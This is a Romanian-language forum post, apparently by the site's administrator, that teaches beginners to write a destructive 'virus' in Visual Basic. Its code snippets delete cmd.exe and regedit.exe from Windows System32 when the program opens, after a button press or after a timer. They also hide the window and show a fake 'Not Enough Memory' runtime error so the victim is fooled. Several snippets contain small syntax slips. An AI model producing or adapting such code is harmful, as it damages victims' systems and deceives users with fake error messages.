V1oL
Administrator
Data inscrierii: 07/Oct/2008
Mesaje: 92
|
|
Pai majoritatea cred ca virusii se aseamana cu Trojanii lucru deloc adevarat.
Un virus nu este asa de imposibil de conceput odata ce intelegeti diferentele dintre Trojani si Virusi.
O sa incepem cu ceva nespus de simplu.
Acum totul depinde de cum vrei tu ca virusul tau sa lucreze, Eu sunt de parere ca cel mai bine e ca el sa se activeze odata cu deschiderea aplicatiei asa ca main code se codeaza in form load sub.
In proiectul nostru inseram un text box , un buton de comanda si un timer,vom folosii butonul si timerul putin mai incolo.
Acest exemplu de virus sterge ceva anume acum vom adauga ce anume sterge in cod.
| Citat: |
Private Sub Form_Load()
Text1.Text = "C:/Windows/System32/cmd.exe
Kill Text1.Text
End Sub |
Acest cod explica cum odata deschisa aplicatia se sterge cmd.exe din System32 automat.
Acum vom pune si un buton il vom denumi "A"
Pune urmatorul cod in butoul de comanda si in form load.
| Citat: |
Private Sub Form_Load()
Text1.Text = "C/Windows/System32/cmd.exe"
A = Text1.Text
End Sub
Private Sub Command1_Click
Kill A
End Sub |
Asa.... odata ce butonul va fii apasat va sterge cmd.exe
Acum la codul urmator vom folosii timer.
| Citat: |
Private Sub Form_Load()
Form1.Visible = False
Text1.Text = "C:/Windows/System32/cmd.exe"
A = Text1.Text
Msgbox ("Runtime Error 492. Not Enough Memory.", vbCritical, "Runtime Error"
End Sub
Private Sub Timer1_Timer()
Timer1.Interval = 5000
Kill A
Timer1.Enabled = False
End Sub |
Ceea ce am facut mai sus este sa facem formul invizibil si sa dea un mesaj eroare ce pare a fii real, am setat intervalul la 5 secunde pana ce fisierul va fii sters si vedeti cat de simplu este sa pacaliti pe cineva.
Codul de jos nu va folosii timere butoane va da un mesaj error dupa care pur si modest va sterge mai multe fisiere.
| Citat: |
Private Sub Form_Load()
Form1.Visible = False
Msgbox ("Runtime Error 492. Not Enough Memory.", vbCritical, "Runtime Error"
Kill "C:/Windows/System32/cmd.exe" s
Kill "C:/Windows/regedit.exe"
End Sub |
Acesta va sterge regedit.exe si cmd.exe si va spune Runtime Error 492. Not Enough Memory ( il puteti personaliza cu ce doriti )
|
 |
